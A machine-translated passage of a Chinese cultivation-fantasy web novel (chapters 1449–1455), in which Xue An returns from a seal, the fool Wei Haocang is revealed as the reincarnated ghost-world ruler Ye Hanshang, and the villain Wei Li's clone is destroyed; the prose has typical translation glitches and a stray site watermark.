    Wei Li couldn''t help but sneer when seeing so many people coming, and even Buddha Xiu''s end.


    "Very good! It looks like this **** fire ghost is very popular! Since you are willing to accompany him to death, then I will fulfill you!"


    As he said, Wei Li raised his eyebrows suddenly and screamed: "Jiuyou, this world!"


    boom!


    The vortex that appeared in the void this time was countless times larger than before, and in an instant, hundreds of ghosts crawled out of it.


    These huge ghosts occupies the sky densely, and Wei Li stood in front of the sky imposingly and raised his hand.


    "Except for the woman and the two little girls, the others... kill without mercy!"


    boom!


    The ghosts turned into a torrent of torrents and came straight to everyone.


    Jin Jue folded his palms together and wanted to say something, Zang Xueling couldn''t help but slapped him, and shouted: "Monk, don''t recite Buddha at this time, go on!"


    With that said, Zang Xueling activated his whole body cultivation base and went straight to a ghost.


    Jin Jue was startled slightly, then laughed mockingly, and immediately squeezed the lion seal with both hands and joined the battle group.


    Although everyone is desperate.


    But there were too many ghosts that appeared this time, and each of them had extremely terrifying strength.


    So just a few breaths, most of the people brought by Ren Tianqi and Luo Jian were lost.


    As for the remaining people, they were also forced to retreat again and again.


    at last.


    They retreated to the outline of Xue An''s phantom, then looked at each other, and they all saw the decisive color in each other''s eyes.


    "You can''t retreat anymore, and the adults who retreat will be exposed to these ghosts!" Meng Yao said lightly.


    Rong Yang opened his mouth and spit out a mouthful of dirty blood, then nodded silently.


    The pan in An Yan''s hands has also cracked into a colander. As for the hapless Lei Zun, there is only a trace of divine thought left!


    Even Jin Jue, his whole body is protected by golden light, like a Bodhisattva with a purple-ground golden body.


    But at this moment, horrible cracks appeared on the golden body, and the halo behind his head was also dimmed a lot.


    Zang Xueling gasped and said, "Monk, can you still fight?"


    Jin Jue nodded and stretched out three fingers, "There are still three more to be eliminated!"


    Zang Xueling laughed loudly, "Okay! I can kill one more, let''s do it together!"


    As soon as the voice fell these countless ghosts pounced on everyone again.


    Everyone looked solemn and prepared for the final battle.


    But at this moment, a bang suddenly came from behind him.


    Although the sound was slight, it seemed to have infinite magical power, making all the ghosts who rushed to stagnate, and then they broke into pieces and left with the wind.


    This scene made everyone in the audience look silly.


    Then An Yan seemed to feel something, suddenly turned his head to look.


    But seeing that a little bit of light gradually appeared in the outline of the phantom, and then I heard another boom from inside.


    "It''s a heartbeat!" Hu Ying said suddenly, her tone filled with relief.


    really!


    The blood veins began to spread from the position where the heart was beating. Wherever they passed, the phantom began to solidify and the outline began to emerge.

 Chapter 1450： Return

    Everyone gradually widened their eyes and watched this scene blankly.


    Wei Li was even more distracted, and screamed hysterically, "No, this is impossible! How can I be alive after being hit by my exile?"


    But as soon as his voice fell, the outline of the phantom had been completely outlined.


    When the brilliance spread, Xue An''s eyes suddenly showed a clever and distant color.


    As if finishing the finishing touches, in a flash, Xue An completely restored his original appearance, and then smiled at An Yan.


    "Yan''er, thank you very much!"


    The simple six words made An Yan''s nose sore.


    But in front of so many people, she still managed to hold back her tears, and said with a smile: "It''s nothing, as long as your husband is fine!"


    But the two little girls rushed up impatiently and plunged directly into Xue An''s arms.


    "Dad, you finally woke up! I scared us to death in these two days!" Thinking about it, said with a choked voice.


    As for Nian Nian, she cried with her nose and tears a lot, and arched around in Xue An''s arms, rubbing them all on Xue An''s clothes.


    Xue An petted the heads of the two little girls, "That''s it! Dad, isn''t it all right! And I watched what happened in the past two days, you two did a great job!"


    "Really?" Thinking and Nian Nian raised their heads and looked at Xue An.


    Xue An smiled and nodded, "Of course it is true! Our thoughts and thoughts have grown up, we can bravely stand up to protect our mother in the face of so many enemies! Dad is proud of you!"


    The cheeks of the two little girls were reddened by Xue An''s praise, but their eyes were full of happiness and pride.


    And looking at Xue An, who was laughing and chatting with his daughter, Wei Li''s expression was uncertain.


    He really didn''t know how Xue An got rid of the seal of the Great Exile of Time and returned safely.


    Isn''t he only half of Da Luo''s cultivation now?


    This Great Seal of Time is an invincible secret technique of the same level. Even the strong immortal kings are likely to be completely expelled, and they have fallen!


    Does he have any unknown cards?


    This thought made Wei Li''s complexion gradually solemn, and his eyes flashed with crazy killing intent.


    No matter what, this son must never stay!


    at the same time.


    Xue An kissed the two little girls separately before putting them down.


    "Go to mom and see how Dad will clean up these big bad guys later, okay!"


    "Hmm!" The two little girls replied in unison, and then happily returned to An Yan.


    At this time, Xue An still ignored the gradual increase in momentum, and Wei Li, who was murderous, smiled at Jin Jue.


    "Great monk, are you here too?"


    Jin Jue folded his palms together and said, "Nan Wuwu Buddha, the donor is in trouble, the little monk, as a friend of the donor, naturally wants to come to help!"


    Xue An looked at Jin Jue''s already somewhat broken golden body and the dim light wheel behind his head, and nodded.


    "Okay! I have written down this friendship, and I will give you a satisfactory return to the monk at that time!"


    Jin Jue smiled and nodded, "In that case, thank the donor!"


    There was no hypocritical excuse, as if everything was supposed to be the case, Jin Jue nodded naturally and agreed!


    But now he still doesn''t know how amazing the reward Xue An promised will be!


    And until then, the giants who were in shock did not gradually wake up, and then the audience was in an uproar.


    "How could it be! This guy was hit by the Immortal King and he didn''t die! How powerful is his strength?" Someone said with a shocked look.


    "It seems that this thing is not so easy to do!"


    "Yes, the ancestors of the Wei family have been silent, but the momentum is gradually rising! Obviously there will be another big battle next!"


    In these sighs, after hiding in the crowd, the two of Wei Qingxiao and Wen Muling who had changed their faces couldn''t help letting out a sigh of relief.


    The two of them did not show up after Xue An was sealed by the Exile of Time.


    This is not because the two of them are afraid of death.


    It was because Wei Qingxiao knew very well that just because of the strength of the two of them, rushing up to death was better than hiding behind the crowd and choosing an opportunity to see if he could find a chance.


    This was also due to the fact that Wei Yuhua and others concentrated all their energy on the secret hiding place, and Wu Xia cared about the two of them, so she and Wen Mu Ling were able to hide their figures and hid in the crowd.


    And when they saw Xue An unexpectedly returned from the seal, a big rock in their hearts fell to the ground, and then looked at each other, quietly stepped back, and disappeared into the darkness!


    At this moment, Wei Yuhua saw that his ancestors had been silent, so he couldn''t help taking a step forward and sneered at Xue An.


    "Surnamed Xue, if you can hit the old ancestor without dying, you are considered dead, but you should not be proud, because no matter what, you still have to die! But if you obediently surrender and take your wife and two daughters Serve it obediently, but..."


    While talking, Wei Yuhua''s face showed greed and silver evil.


    He had already coveted An Yan''s stunning appearance.


    But before he could finish speaking, Xue An suddenly raised his eyes and glanced at him.


    As far as his eyes could be, countless killer sword lights appeared around Wei Yuhua''s body, and then cut straight past.


    Wei Yuhua never dreamed that Xue An would be so arrogant and dare to act like this in front of his ancestors.


    So when he was caught off guard, he was directly cut by these countless sword lights.


    In the blood splashing, Wei Yuhua screamed: "My ancestors save me!"


    Wei Li, who was concentrating on improving the strength of his clone, was startled when he heard that, and then furious, raising his hand was a ghost palm, trying to rescue Wei Yuhua from Jianmang''s siege.


    It''s a pity that he is still a step late, just a few breaths These sword lights are like bone-eating maggots, completely cutting Wei Yuhua into meat sauce.


    Pus and blood mixed with the fragments of the body, and Wei Li''s ghost palm could only capture Wei Yuhua''s spirits, who were also chopped into pieces.


    Although under Wei Li''s blessing, Wei Yuhua can be considered a small life.


    But at this moment, he is extremely miserable.


    Not only the human body was shattered, but even the ghost body was already shattered, and could only hide in Wei Li''s ghost palm shiveringly, unable to even speak.


    Wei Li was furious.


    "Shenhuoguizun, to be honest, you can break my time. [����С˵��www.tlzw.vip] exile is really surprising to me! But the more you do this, the more you should be clear with a fairy What is the end of Wang Zuo right!"


    Xue An raised the corners of his mouth, revealing a faint smile, "What if you know?"


    Wei Li snorted coldly, "In fact, what Wei Yuhua said just now makes sense. As long as you are willing to submit to me, I can''t keep you forever!"

 Chapter 1451： Who said... Im going to fight you?

    As soon as the voice fell, Xue An laughed, "Wei Li, you shouldn''t believe these words yourself! You just want to paralyze me in this way, so you can delay time to improve your cultivation!"


    Xue An''s words changed Wei Li''s face, just about to say something.


    Xue An waved his hand and said with a sense of excitement: "Okay, I''m not interested in listening to what you say, you want to delay time to improve your cultivation, okay! Then I will give you this opportunity!"


    Wei Li was taken aback, almost thinking that he had heard it wrong!


    "what did you say?"


    Xue An said lightly: "I said I will give you time to recover!"


    As soon as this sentence came out, not only Wei Li was a little confused, but An Yan and others were a little silly.


    "Husband, you..." An Yan just wanted to say something.


    Wei Li was already looking up to the sky and laughed, "Okay! As expected of the gods and ghosts who once smashed the ghost world, it is really courageous! Well, when I resume this cloned cultivation base, we will have another dignified match!"


    Xue An smiled faintly, "Okay!"


    His actions made many people feel ridiculous, especially those giants in the ghost world, who looked at each other, and then whispered to each other.


    "This Xue An might be too big!"


    "Yeah! Don''t take advantage of it now, but give the ancestors of the Wei family time to recover. Is this brain flooded!"


    These discussions sounded like tides, and many of them came to Xue An''s ears.


    But Xue An didn''t pay attention to this at all, instead smiled meaningfully, and then said to An Yan who was puzzled.


    "Yan''er don''t worry, I have my own measures!"


    Hearing Xue An''s words, An Yan closed her mouth wisely and stopped asking.


    But at this moment, she suddenly felt that her husband after experiencing a seal storm seemed to be a little different.


    This feeling is extremely subtle and unspeakable, only An Yan, who is closest to Xue An, can detect it.


    If the previous Xue An was like an immortal coming to the world, with awe-inspiring momentum.


    Then Xue An now has a touch of indifferent and distant on his body.


    But it is this feeling that gives people a sense of horror to see through everything.


    It''s like a **** who has broken through all the mysteries of the world standing on the top of the heavens and looking down at sentient beings, vast and unpredictable.


    Besides An Yan, there was another person who had been staring at Xue An since he returned, without even blinking his eyes.


    At this moment, Xue An, who felt this gaze, couldn''t help turning his head, and smiled slightly at Meng Yao who was standing in the distance.


    "Xiao Yao, long time no see!"


    A simple little Yao could hear Meng Yao''s ears like a thunder.


    Although she told herself repeatedly before, after seeing adults, don''t cry!


    But at this time, she still collapsed, tears bursting into her eyes.


    But just under the rain of tears, she smiled and nodded.


    "grown ups!"


    Seeing this scene, many people''s faces became a little weird!


    Jin Jue, Luo Jian and others turned around quite knowingly and began to admire the surrounding scenery.


    Hu Ying snorted from her nostrils, her face turned dark, but she also took the two little girls to other places.


    But there are none left.


    For example, Zang Xueling, at this moment, she looked at Meng Yao in surprise, then at Xue An, but finally turned her gaze on An Yan.


    Unexpectedly, An Yan was not as furious as she had imagined. Instead, she said to Xue An with a gentle face: "Husband, you guys talk first, I''ll go over there!"


    She actually turned around and left.


    Zang Xueling''s eyes gradually widened, can he still play like this?


    Xue An felt something and couldn''t help turning his head to look at her, and said lightly: "What are you thinking about?"


    "Ah, no no! Talk to you!" Zang Xueling hurriedly left.


    Xue An stood in the void, looking at Meng Yao who had already cried into tears, and smiled slightly, "I haven''t seen it for so many years, the little girl who loves to cry at the beginning has also become a strong master of the palace!"


    Meng Yao did not speak!


    She thought she would have a lot to say after seeing Xue An, but when it came to this time, she found that she couldn''t say anything.


    "Okay, don''t cry! People who don''t know thought I really did something shameful!" Xue An said helplessly.


    Meng Yao finally stopped her grief, looked at Xue An idiotically, and then said softly: "My lord, is the girl just the Anyan you mentioned?"


    Xue An nodded, "Yes!"


    "So beautiful!" Meng Yao smiled, but her eyes became very sad.


    But soon, she returned to normal, and then generously stretched out her hand, "My lord, congratulations, I finally found her lover!"


    Xue An looked at her with a faint smile, but did not hold her hand, but raised her hand and pinched her nose, "Okay, don''t make it so formal! In my eyes, you will always be the one who did not grow up. Little girl!"


    Meng Yao smiled like a flower and nodded, "Hmm!"


    But the moment Xue An turned and left, Meng Yao lowered his head and muttered in a voice that only he could hear.


    "My lord, you are in my eyes, and you will always be the big brother who rescued me from fire and water!"


    In the distance, Rong Yang watched this scene quietly, his eyes filled with sadness.


    At this moment, Jin Jue didn''t know when he appeared beside him, and said softly: "Is the donor trapped by love?"


    Rong Yang turned his head to see Jin Jue, then he was taken aback, and finally said sadly, "So what?"


    Jin Jue smiled like a MLM leader, "Donor, I happen to have many ways to get rid of emotional difficulties in Buddhism. Are you interested in learning about it!"


    Rong Yang wanted to refuse, but somehow he almost nodded.


    Jin Jue smiled happily, and immediately began to concentrate on teaching.


    And just when Jin Jue tried to teach the Dharma, he wanted to introduce the powerhouse master level into the hall of Dharma.


    In the midair, Wei Li''s momentum around his body became more and more vast.


    The mighty power and even the disturbing situation has changed.


    These wealthy ghost tribes retreated one after another, looking at all this with horror.


    And An Yan and others were worried when they saw this.


    Xue An raised his head and looked at the sky that was already covered by brilliance, and said lightly: "It should be almost done!"


    "Huh? What''s the end?" An Yan asked in a daze.


    At this moment, Wei Li''s sneer came from the storm.


    "Shenhuoguizun, now use your means!"


    Each word of this sentence is like a heavy hammer, hitting the void, causing the space to be shaken out of cracks.


    It can be seen that its power is so strong that it already has the real power of the fairy king.


    But in the face of this turbulent power, Xue An was unhappy, with a calm expression on his face.


    "Who said... I''m going to fight you?"

 Chapter 1452： The mystery is finally revealed, Mingjun is here

    Ok?


    As soon as this remark came out, everyone was shocked!


    What do you mean?


    Could it be that this sacred fire ghost is timid?


    Wei Li laughed, "Shenhuoguizun, you are a smart person, why? If you don''t plan to fight me, then you just want to surrender?"


    Xue An shook his head, "Of course not!"


    Everyone is a little confused now!


    Wei Li was even taken aback, and then said gloomily: "This is not that or that, what are you trying to do?"


    Xue An suddenly laughed, "There is a question, don''t you think it is strange?"


    "What''s the problem?" Wei Li''s figure emerged from the vortex of the storm and asked coldly.


    "Why is it such a coincidence that Mingjun''s Secret Treasure will suddenly appear at this time?"


    Wei Li''s complexion suddenly became weird. As Xue An said, he did feel a little strange before.


    Because this secret realm of the Great War has existed for a long time, but there has been no secret hidden before. Until recently, such a hidden hidden suddenly appeared, and there was still the breath of the fallen Mingjun.


    There is indeed something strange in it.


    But because the temptation of this secret hiding place is so great, it is even possible to completely unlock the seal of one''s own body, and there is no need to run sneakily around as a clone.


    So even with some doubts, he didn''t think too much.


    It wasn''t until Xue An mentioned it again that he was suddenly a little surprised.


    At this time, Xue An opened his arms gently, as if embracing everything, and said softly: "Don''t you find out that this secret place is cheering and cheering, seeming to welcome the return of their master?"


    Wei Li shook suddenly and shouted in disbelief: "This is impossible! The fellow Mingjun is dead, how could he return?"


    Xue An laughed, "Impossible? Wei Li, you can be considered a half strong, you should know that everything in the heavens is possible!"


    Wei Li''s complexion is simply ugly.


    Because he heard what Xue An said!


    This secret place suddenly appeared, obviously related to Mingjun.


    It''s even possible that the fallen Mingjun is about to wake up, that''s why this secret store suddenly appeared.


    But is this really possible?


    At this moment, Wei Yuhua, who reunited her body with the help of Wei Li''s might, poked her head out with a bitter face, and sneered: "The surname is Xue, you don''t talk nonsense here. Why Mingjun wakes up? It''s pure nonsense! If you have the ability, you should find out who the Mingjun is! Wouldn''t you say that Mingjun is you!"


    At this moment, Wei Yuhua obviously hated Xue An extremely, so even the tone of speech became a little hysterical.


    Xue An laughed when he heard this. He didn''t even bother to scold Wei Yuhua, who was like a clown, but said indifferently: "Of course I am not a king, but some are!"


    "Who?" Wei Li and Wei Yuhua asked in unison.


    Xue An raised his head and looked at the silent secret hidden gate, and said lightly: "Didn''t you see who I threw in before?"


    This sentence reminded everyone!


    Yes!


    Xue An threw a person into the secret hiding place before starting with Wei Li!


    But soon, Wei Yuhua burst into laughter.


    "Wei Haocang? You mean that fool? Are you trying to say that he is Mingjun? You are so funny! Hahahaha!"


    Wei Yuhua smiled happily.


    Because he thinks this is pure nonsense.


    Not only him, many people showed a weird look when they heard the three words Wei Haocang.


    Although the Wei family has been covering up Wei Haocang''s affairs, no one among the wealthy people present knows that the Wei family is a waste wood and fool that has been rare in thousands of years.


    If such an existence is the reincarnation of King Ming, it is just like a joke.


    So many people burst into laughter.


    But Wei Qingxiao, who had left the crowd quietly, was suddenly shocked when he heard that, and then there was infinite shock in his eyes.


    Will his silly brother be Mingjun?


    How is this possible?


    If someone else said this to Wei Qingxiao, Wei Qingxiao would also think it was nonsense.


    But now the person speaking is Xue An.


    After all these disturbances, Wei Qingxiao respected Xue An as a **** and did not dare to doubt every word he said.


    Especially Xue An had promised himself that he would cure his brother''s disease!


    Before contacting, Xue An suddenly threw Wei Haocang into the secret hiding place.


    An idea gradually emerged in Wei Qingxiao''s mind.


    Could it be that all of this is true?


    At this moment, Wei Li couldn''t help frowning and sneered: "Shenhuoguizun, do you think I will believe what you said? You know that the soul of Mingjun was killed by my own hands. Will leave a bit!"


    Xue An smiled faintly, and then said in a leisurely manner: "Do you know? Back then, Ming Jun and I were very good friends!"


    Wei Li didn''t say a word.


    Because what Xue An said is indeed true.


    This is no secret, many people in the audience know it.


    "so what?"


    "So I want to remind you that my friend Mingjun may be close to other skills, but in the matter of manipulating the soul, it can be said to be unique in the world, no one can match! So..."


    Xue An showed a cold smile, "Do you really think he will fall so easily?"


    These few words caused Wei Li''s expression to change drastically, because this was also a worry he had always buried in his heart.


    But soon he adjusted his mentality.


    "Shenhuoguizun, you are indeed a clever tongue, but even if that fool is the reincarnation of Mingjun, I have secretly followed him when he was born, and it turns out that his spirit is incomplete, that''s it. Do you think he can return to the position of Mingjun?"


    Xue An did not speak, but quietly looked at the secret door, with a smile on his face, and then spoke softly.


    "His spirit is of course incomplete, because the remaining spirits... are in this secret hiding place!"


    As soon as this sentence came out, Wei Liru was struck by lightning.


    But before he could speak the whole world suddenly shook.


    Then I saw that the silently standing secret door suddenly began to show a little brilliance.


    Immediately afterwards, the Qi machine around him suddenly stagnated.


    Including the storm vortices around Wei Li''s body that were stirred up by power and influence also came to a halt.


    Wei Li''s complexion became pale a little.


    Like him, his complexion gradually became ugly, and almost all the giants in the ghost world.


    Because they all feel that an incomparably terrifying air is gradually emerging.


    Wei Yuhua trembled all over, and said in a trembling voice: "No...no! He is just a fool, how could he be Mingjun! Hahaha, you must be mistaken!"


    As soon as the voice fell, I saw the secret storage gate shattered, and a brilliance rose to the sky.


    Then in this radiant brilliance, a figure was emerging.

 Chapter 1453： Not satisfied? Then go to hell!

    When Guanghua dissipated, this figure completely appeared in front of everyone.


    The audience that was deadly silent instantly boiled over.


    "God, it''s really him!" Someone screamed like a groan.


    Numerous giants are even more dumbfounded, and their eyes are full of infinite panic.


    Because this man used to be the deepest nightmare in their hearts.


    I thought that through that shocking battle, he had completely got rid of him, but I didn''t expect him to be born again!


    And still appeared in front of everyone in this posture.


    Thinking of the heinous sins committed by his family, almost every rich and powerful person has a trace of despair in his heart.


    As for Wei Yuhua, he was even more stiff, with no trace of blood on his face.


    The person who appeared in the void was Wei Haocang.


    But Wei Haocang at this moment was very different from before.


    Although the facial features have not changed, there is a kind of evil that is almost strange.


    And the root of all these changes came from his eyes.


    What kind of eyes are these!


    There is no trace of calmness, but it contains infinite murderous intent.


    This is a paradoxical feeling that makes people want to vomit blood!


    Wei Haocang''s eyes are like Tai Chi pictures, and the black and white qi flows in it, and the momentum is so strong that it is impossible to look directly at it.


    At this moment, Wei Yuhua suddenly felt frightened and desperate, but immediately afterwards, all this turned into monstrous jealousy.


    Why!


    Why can this foolish fellow be the reincarnation of King Ming?


    why it''s not me?


    If it were me, then all of this would be mine!


    In this almost crazy jealousy, Wei Yuhua has lost all his sanity.


    Because since childhood, Wei Yuhua was extremely conceited and proud.


    Therefore, he has never put Wei Haocang''s "waste" in his eyes.


    Unexpectedly, the fool of the past has changed, becoming one of the few big figures in the entire ghost world.


    But he... will become the ant under his feet, and it is impossible for him to even look at himself.


    This kind of gap, like cloud and mud, easily defeated Wei Yuhua''s psychological defense.


    I saw him laugh almost hysterically.


    "Wei Haocang, no matter how much you change, you are the fool at the time, the biggest trash of the Wei family in thousands of years! And the ancestors are here, what''s so great about you? Hahahaha!"


    Facing this crazy clamor, Wei Haocang looked cold and slowly spoke.


    "Today, I will restore my real name, Ye Hanshang!"


    "Stop talking nonsense, what you call is a trash! Why? Are you not convinced? Then you come to hit me?" Wei Yuhua''s face was flushed with excitement, and his eyes were full of madness.


    Obviously he was completely crazy.


    Wei Haocang, no, he should be called Ye Hanchang at this moment, and he frowned slightly.


    "Everything you own is given to you by me! Now, kneel down!"


    As soon as the voice fell, a strong coercion suddenly fell on Wei Yuhua''s head!


    With a plop, Wei Yuhua was directly pressed to his knees!


    Seeing this scene, Wei Qingxiao, who stood far away, couldn''t help covering her mouth with her hand, tears bursting into her eyes.


    The many humiliations I have suffered have been swept across my mind, especially Wei Yuhua''s humiliation to himself is vividly remembered.


    Wei Qingxiao had also imagined more than once, after his brother''s illness healed, what kind of situation would it be like!


    Unexpectedly, when this day really came, Wei Qing smiled but was not happy at all.


    Because she suddenly felt that her brother suddenly became so strange.


    The stranger is like another person.


    Does the person who called his sister with a silly smile before no longer exists?


    Now there is only one Mingjun who is looking at the world and unbeatable!


    That''s why Wei Qingxiao is so sad.


    Sad is like a child who has lost his most beloved thing.


    at the same time.


    Wei Yuhua, who was forced to kneel on the ground, struggled frantically and tried to stand up.


    But under this tremendous force, all struggles are in vain.


    Wei Yuhua''s eyes became blood red as a result, and he let out a roar like a beast.


    "I don''t accept it, Wei Haocang, no matter who you are! I will never accept it!"


    "Oh!" Ye Hanchang replied softly, then lifted his slender fingers a little bit empty.


    puff!


    A beam of brilliance passed through the sky at a very fast speed.


    When Guanghua passed by, Wei Yuhua was shocked and froze in place for an instant, staring blankly at Ye Hanshang, then lowered his head and looked at the big hole in his chest.


    Because Wei Yuhua at this moment is the body of a ghost clan, there is no blood flowing out of this hole, but a little black light is constantly dissipating outside.


    Wei Yuhua looked dull, as if she couldn''t believe it was true.


    "You..." Wei Yuhua just wanted to speak.


    "Since you are not convinced, then you go to die!" Ye Hanshang didn''t give him a chance to speak at all, and his fingers touched the void like a piano.


    Puff puff!


    Countless brilliance rushed like a meteor shower, Wei Yuhua''s eyes widened in an instant, he finally woke up to what he had just done, his eyes couldn''t help showing fear and regret.


    But everything was too late, he had only time to let out a very short scream, and then he was directly swallowed by these brilliance, and evaporated into nothingness.


    That''s it.


    This Wei Yuhua, who has exhausted his mind and tried to seize the opportunity to achieve an unworldly hegemony, is completely destroyed.


    After doing all this, Ye Hanchang patted his hands lightly, as if he had trampled on an ant. He didn''t even lift his eyelids, but looked at Wei Li coldly.


    Wei Li''s complexion was cloudy, and it was only after a while before he let out a sigh of relief, "I''m really a bit puzzled, I''ve already cut all your souls to death with my own hands Why are you still alive What? Ye Hanshang!"


    Ye Hanshang''s mouth raised a cold smile, "Wei Li, you mobilized the entire ghost world to besiege me. The plan is not deep, and the calculation is not poisonous!"


    "But in the end you still miscalculated a bit!"


    "Oh? Which point?"


    "In this world, I am the real immortal body! And you are just a ghost who is messing with the situation behind, but dare not even reveal the true face!"


    After finishing these words, Wei Li''s complexion instantly became extremely ugly.


    But immediately, he laughed strangely, and then his eyes swept over Ye Hanshang and Xue An not far away.


    "I admit, I really underestimated you! But this matter is not over! I am indeed a ghost who is messing with the situation behind his back, but what can you do to me? Hahahaha!"


    Wei Li looked up to the sky and smiled, and his figure gradually became transparent.


    "He''s going to run!" Meng Yao exclaimed.

 Chapter 1454： 9Secluded Land

    The many ghost world giants present were even more disillusioned.


    Because the culprit of this whole incident can be said to be this Wei Li, but now he wants to get away, don''t people like himself have to bear the double anger from Mingjun and Shenhuoguizun?


    So the shouts kept coming and going.


    "Old ancestor, you can''t leave us alone!" This is the Wei family wailing.


    "Wei Li, you can''t just leave like this!" This is the other giants roaring.


    But at this moment of chaos, Xue An suddenly stepped forward, instantly crossing the distance between them, and came close to Wei Li.


    At this time, Wei Li''s figure was hidden in the void, so thin that it was almost transparent, so when he saw Xue An rushing forward and backward, Wei Li''s face showed a hint of ridicule.


    "Shenhuoguizun, why be so polite! Come to see me off at this time!"


    Xue An smiled faintly, "Yeah! Of course I want to give it to you! Because Jiuyou Land is not a good place! What do you think!"


    This sentence seemed like a bolt from the blue sky, causing Wei Li, who was originally to be the old god, to change a lot, and even his figure that was almost completely reclusive also fluctuated with it.


    "you����."


    "How did I know? Hehe, you know? Before I entered the ghost world, I used to go to a place! That piece of heaven and earth was very strange, and various forces canceled each other out. I was puzzled at the time! Until I met you !"


    Xue An talked eloquently, "The Land of the Nine Netherworlds is actually the beginning of the origin of this ghost world. There is the origin of all ghost world planes! All the evil spirits and ghost races are born from the souls there. ! But the vision of that piece of heaven and earth clearly shows that there is something wrong with this Nine Nether Land!"


    "So if I''m not wrong, the ghost you summoned before is the evil spirit from the land of the Nine Nethers! And your body should also be sealed there and cannot move! That''s why you will always walk as a clone. Am I right?"


    Wei Li was only a little short of going away at this time, but in spite of this, he could still clearly see the horror in his eyes.


    At this time, Xue An smiled faintly, and suddenly leaned down and whispered in Wei Li''s ear: "Don''t worry, wash your neck and wait and wait, I''ll be there soon!"


    "Count me too!" Ye Hanshang behind him suddenly said.


    Xue An smiled, and then when he raised his hand, a white flame floated on his fingers, slamming forward!


    puff!


    This flame pierced directly into Wei Li''s forehead.


    There was a faint howl full of unwillingness and fear from the depths of the void, and immediately after Wei Li''s clone was like a soap bubble, it shattered with a bang.


    There was deathly silence.


    Although many people didn''t hear what Xue An said to Wei Li just now, many people saw the scene where Xue An broke Wei Li''s avatar.


    This can''t help making many people''s eyelids jump.


    But the next scene made the ghost world giants present or the many powerful people who watched this scene through the secret technique of water mirrors feel terrified.


    But seeing Xue An turned around, quietly looking at Ye Hanshang who had recovered his soul memory.


    Ye Hanshang did not speak either.


    The two looked at each other for a few seconds, and then Xue An twitched the corner of his mouth, and a faint smile appeared.


    "Welcome back, Brother Ye!"


    The corners of Ye Hanchang''s mouth also lifted up, revealing a big smile, "Same for you! Xiaoanzi!"


    The smile on Xue An''s face froze, "Hey! I am the one who rescued you back. If you don''t thank me, it''s okay if you dare to call me like this, do you have a conscience?"


    "Conscience? Haha, you left without saying goodbye back then. After so long, what about your conscience?" Ye Hanshang was suddenly very excited.


    "My situation is special, something urgent!"


    "Emergency? Didn''t even have a message for the emergency?" Ye Hanchang became more excited, even his eyes were a little red, and said sadly.


    "Do you know how long I have been looking for you? How much energy did it take? If it weren''t for this, I could have been fooled by Wei Li so easily, and then fell?"


    These shouts made many people in the audience look weird.


    Especially Zang Xueling, she looked a little blankly at Ye Hanshang, who was yelling excitedly in the air like a "resent woman", and then looked at Xue An, who was standing aside with a dazed expression.


    Suddenly a lot of indescribable pictures popped up in his mind, and then he showed a rotten smile, thinking that he knew everything.


    Ok! It must be so!


    Otherwise, how could this Lord Mingjun go so hard to find Xue An!


    What a touching feeling!


    Just when Zang Xueling thought that he knew everything, Xue An rubbed his nose in a daze. Suddenly, he came to Ye Hanshang, who was yelling with his teeth and claws, and then fell sharply over his shoulders.


    Bang!


    Xue An''s attack was extremely ruthless, and this time he directly threw Ye Hanchang into the ground, smashing the ground into a big chevron-shaped hole.


    Then Xue Ancai said with a black line on his face: "The surname is Ye, can you **** talk so badly! I''m a straight man of steel!"


    Soon, Ye Hanchang crawled out of the ground, then wiped the dust off his body, restored his former handsome temperament, and nodded very calmly.


    "Understood! Actually, I am also a straight steel man! I was just a little excited just now!"


    Xue An looked like I believe you were a ghost, and stepped back a few steps unmovingly, then raised his hand to the opposing giants and powerful men.


    "Hey, what are you going to do with these people?"


    Ye Hanshang''s gaze swept over these people. Everywhere they looked, everyone was terrified, and they rushed back.


    After a while, Ye Hanchang lowered his eyes slightly and said indifferently: "The person who had participated in the siege of me now judges himself, and I will not pursue his family!"


    This sentence relaxes the originally extremely solemn atmosphere.


    Although many people still showed sadness and despair.


    But no one dared to have the slightest chance, and even scrambled to self-discipline.


    Because they knew that this was Ye Hanshang''s greatest gift to them.


    If according to normal practice, Ye Hanshang should have wiped out all the giants in the ghost world at this moment.


    Even Xue An couldn''t help being a little surprised after hearing this decision but soon.


    Those who had participated in the siege of Ye Hanshang were all dead.


    Ye Hanchang waved his hand, "Go away!"


    "Yes...Yes! Lord Mingjun, Lord Guizun!" Many powerful people shouted tremblingly, and then they left in a hurry.


    In an instant.


    The people who had occupied most of the secret realm just now all dispersed.


    Only Wei Qingxiao was still standing at a far distance and watching quietly.


    Xue An raised an eyebrow slightly against Ye Hanchang.


    Ye Hanshang naturally saw this scene too, smiled faintly, and then flew to Wei Qingxiao in an instant.


    Wei Qing smiled, and just wanted to say something.


    Ye Hanchang smiled, "Sister, come with me!"

 Chapter 1455： Sister, the next time, its me...

    Wei Qing was stunned when she heard the name of her sister.


    In fact, she was ready to lose her brother.


    After all, the once stupid brother has become the master of the world.


    Even though her heart was full of dismay, Wei Qingxiao still felt sincerely happy and blessed for her brother.


    In fact, the true relatives are like this, they will feel reluctant to fly higher and higher, but they are full of joy and comfort.


    So when she saw Ye Hanshang, who was like a rainbow, appeared in front of her, she showed a familiar smile, and called her sister in person, naturally her heart was shaken.


    At the same time, Ye Hanshang stretched out his hand and took Wei Qingxiao''s hand very naturally, and said lightly: "Sister, I have been taken care of by you over the past few decades, and I have suffered a lot of grievances, so in the next time, I will change to me. Take care of you!"


    As soon as this sentence came out, Wei Qing smiled as if struck by lightning, even as tears fell.


    Because at this moment, she suddenly felt that the younger brother in her memory had not left, but stood in front of her so clearly.


    The past passed by Wei Qingxiao''s heart one by one, and finally turned into a low voice in his throat!


    Seeing this scene, Xue An couldn''t help but show a faint smile on his face.


    This is the Mingjun I know!


    Don''t bully the weak, and at the same time be grateful to those who have helped yourself.


    For example, in the current situation, if you change to another powerhouse, you may use something casually to dismiss Wei Qing''s smile.


    After all, no strong man would recognize his relatives after reincarnation.


    But Ye Hanshang did it, and he did it impeccably.


    After many years of waiting, Wei Qingxiao got her due reward.


    Therefore, when Ye Hanshang took Wei Qing''s hand and came to the crowd, Xue An couldn''t help but smile and said, "Miss Wei, fortunately, it''s not a shame, your brother''s disease, I finally cured it!"


    Wei Qing flushed with a smile, lowered his head deeply, and said respectfully: "Master Guizun, please forgive me for how offensive I was before, I''m really sorry!"


    Ye Hanshang said carelessly: "Okay, sister, you don''t have to be so polite with this guy! He was purely intentional. God knows how enjoyable he is to be my master during this time!"


    Xue An, who was exposed to this cautious thought in his heart, didn''t have a red heart, and said indifferently: "Should you not be your master? I saved you, anyway!"


    Speaking of Xue An, he still shook his head helplessly, "He won''t admit it after he is saved, what a disobedient disciple!"


